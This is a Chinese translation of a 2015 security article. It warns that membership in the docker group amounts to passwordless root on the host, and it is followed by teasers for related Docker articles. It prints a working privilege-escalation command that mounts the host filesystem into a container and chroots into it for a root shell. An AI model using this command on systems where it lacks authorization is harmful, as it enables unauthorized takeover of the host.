Docker 安全:通过 Docker 提升权限

本文讲的是Docker 安全:通过 Docker 提升权限,【编者的话】本文的目的在于提醒大家注意 Docker 的安全性。本文中所有的内容总结成一句话:某个用户被加入了 docker 用户组,那么这个用户相当于直接获得了宿主机免认证的 root 权限。本文中的情况出现的情况比较苛刻,所以大家可以把这篇文章当做一个 warning 问不是 error

文章太长不要看,一句话,不要用 docker 用户组。

如果你对 Docker 不熟悉的话,简单来说,Docker 是一个轻量级的应用容器。和常见的虚拟机类似,但是和虚拟机相比,资源消耗更低。并且,使用和 GitHub 类似的被 commit 的容器,非常容易就能实现容器内指定运行环境中的应用打包和部署。

问题

如果你有服务器上一个普通用户的账号,如果这个用户被加入了 docker 用户组,那么你很容易就能获得宿主机的 root 权限。

黑魔法:
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出如下:

johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell

whoami

root #此处是容器内部,但是容器已经 chroot /hostOS,所以相当于直接获取了宿主机的 root 权限。
#

译者一直以为是 Ctrl-D 之后,宿主机的 shell 变成 root,实际上不是。
咨询了作者 Chris Foster 得知,是在容器内获得宿主机的 root 权限。
是不是想起了以前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s

解释

当然,所有的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力(虽然权力只体现在能访问 /var/run/docker.sock 上面)。

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证便可以随便获取的 root 权限差别不大。

解决方案

对于 Docker 来说可能很难修复,因为涉及到他们的架构问题,所以需要重写非常多的关键代码才能避免这个问题。我个人的建议是不要使用 docker 用户组。当然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差别不大”是什么意思。

Docker 官方也意识到了这个问题,尽管他们并没有很明显地表明想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差别不大,并且敬告用户慎重使用。

漏洞详情

上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的作用是:从 Docker Hub 上面下载我的镜像,然后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,并且使用 -i 和 -t 参数进入容器的 shell

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限。

当然可以从这个衍生出非常多的提权方法,但是这个方法是最直接的。

本文中所提到的代码托管在 Github,镜像在 Docker Hub

原文链接:Privilege Escalation via Docker (翻译:SegmentFault社区 审校:魏小红)

=============================================
译者介绍
本文由 SegmentFault 社区 组织翻译。SegmentFault 正在组织翻译更多 Docker 文章,包括:Docker 安全、搭建 Rails 环境、甚至搭建 .NET 环境等,欢迎关注我们。

原文发布时间为:2015-05-27

本文作者:大舒 

本文来自合作伙伴DockerOne,了解相关信息可以关注DockerOne。

原文标题:Docker 安全:通过 Docker 提升权限

时间: 2024-09-28 04:41:29

Docker 安全:通过 Docker 提升权限的相关文章

Docker基础之一: Docker架构

Docker的架构 Docker使用的是 C-S架构.Docker的客户端同Docker Daemon进行交互,其中主要的工作是通过 daemon来完成,包括拉取镜像,编译镜像,运行容器,发布容器等.Docker client和daemon可以运行在同一个系统上,也可以通过远程方式进行访问.Docker client和daemon之间是在 socket 上通过RESTful API来进行交互的.  Docker Daemon 如上图所示,Docker daemon运行在一个主机之上,用户并不是直

你真的了解Docker吗?——Docker插件机制详解

云栖TechDay活动第十八期中,阿里云容器服务团队的核心成员陈萌辉带来了题为<Docker插件机制详解>的分享,分享中,他结合阿里云容器服务实践介绍了Docker插件的基本原理.实现方法以及插件机制未来的演进. 幻灯片下载地址:https://yq.aliyun.com/attachment/download/?filename=bdefe06ba7a14d7604af5a63a4bcc4f3.pdf 以下为现场分享观点整理. 为什么需要Docker插件?   Docker之所以这么火并且有

docker 基本命令 (CentOs7 Docker 17.03.1-ce)

启动 docker systemctl start docker.service 停止 docekr systemctl stop docker.service 状态检查 systemctl status docker.service 重新启动docker systemctl restart docker 设置docker为开机启动 systemctl enable docker 取消开机启动 systemctl disable docker 查看当前启动的容器进程(只查看正在运行的容器) do

《循序渐进学Docker》——第3章 Ubuntu下使用Docker 3.1 Docker的运行平台

第3章 Ubuntu下使用Docker 第2章我们介绍了在Windows下如何搭建一个Docker运行环境.这一章我们要切换环境,在Ubuntu系统下使用Docker.为什么要切换到Ubuntu下呢,还要从Docker的运行平台说起. 3.1 Docker的运行平台 首先,我们需要知道Docker可以在哪些操作系统下运行.截止到2016年3月底,几乎所有的Linux系统(如Red Hat Enterprise Linux(RHEL)/Centos.Debian/Ubuntu.gentoo.arc

《循序渐进学Docker》——第一部分 Part 1 基础篇 第1章 全面认识Docker 1.1 Docker是什么

第一部分 Part 1 基 础 篇 第1章 全面认识Docker 第2章 初步体验Docker 第3章 Ubuntu下使用Docker 第4章 Docker的基础知识 第1章 全面认识Docker 欢迎来到Docker的世界. Docker,Golang社区杀手级的应用,是Github上最活跃的项目之一,也是开源社区最受欢迎的项目. Docker,号称要成为所有云应用的基石,并把互联网升级到下一代. 开发.测试.运维人员看到Docker,都激动地说:"太好了,这正是我所需要的!" Do

前端也应该了解点 docker 知识:docker 架构(上)

上一篇文章 前端也应该了解点 docker 知识:docker 的理念与场景 介绍了 docker 的一些理念,以及在前端方面可能的应用场景,本篇我们梳理一下 docker 的架构. 话说,我们团队的小明同学看了上篇文章之后,很是激动,迫不及待的想尝试下 docker ,然后按照网上一些教程跑出来了一个 "Hello world" ,激动的差点把鼠标给扔了.如果小明的故事到这里,那就不是我们团队的小明了,他是位爱动脑筋,对细节刨根问底的同学,他没有沉浸在跑出来 "Hello

Docker -- 2 -- 利用docker部署网站和数据库

在Docker – 系统整洁之道 – 1中已经对Docker的一些命令和Docker镜像的使用及操作做了记录. 这次就利用docker进行一次真正的实例使用,使用docker搭建一个简单的答题系统,这个系统是当时做来给网络安全周做手机答题的系统,很简单,代码风格很差. 这篇主要记录了三种docker使用的方式. 用supervisor方式运行一个多进程的docker实例 创建一个ngnix和php运行的环境 创建一个ngnix,php,mysql集合运行的环境,使用docker-compose构

openstack 启动docker实例,docker实例中运行手写的发包程序,docker实例无法启动

问题描述 各位好,小弟最近遇到了一个问题,已经搞了好多天了.背景:就是我想用openstack启动docker实例(docker镜像里面有个http请求客户端),让docker实例启动之后,请求默认的HTTP服务器.我在openstackKilo版本,(controller+network+compute1(kvm)+compute2(docker)),装了novadockerdriver.可以用openstack启动docker实例,但是只能启动两个指定的镜像(类似于ubuntu-sshd这种

Docker 周报:Docker 已扎根新一代 PaaS

新闻 1.<CoreOS收购Quay.io,提供企业级的Docker Registry>:CoreOS近来势头正劲,继上个月宣布完成800万美元的A轮融资后,近日又宣布收购私有Docker仓库服务商Quay.io.此次收购的具体细节目前尚未披露,不过基于Quay.io的CoreOS企业版Registry已经上线.和GitHub企业版一样,CoreOS企业版搭建在企业本地网络中,并且包含了Quay.io的所有东西,比如UI.访问控制.团队协作. 2.<CenturyLink发布Docker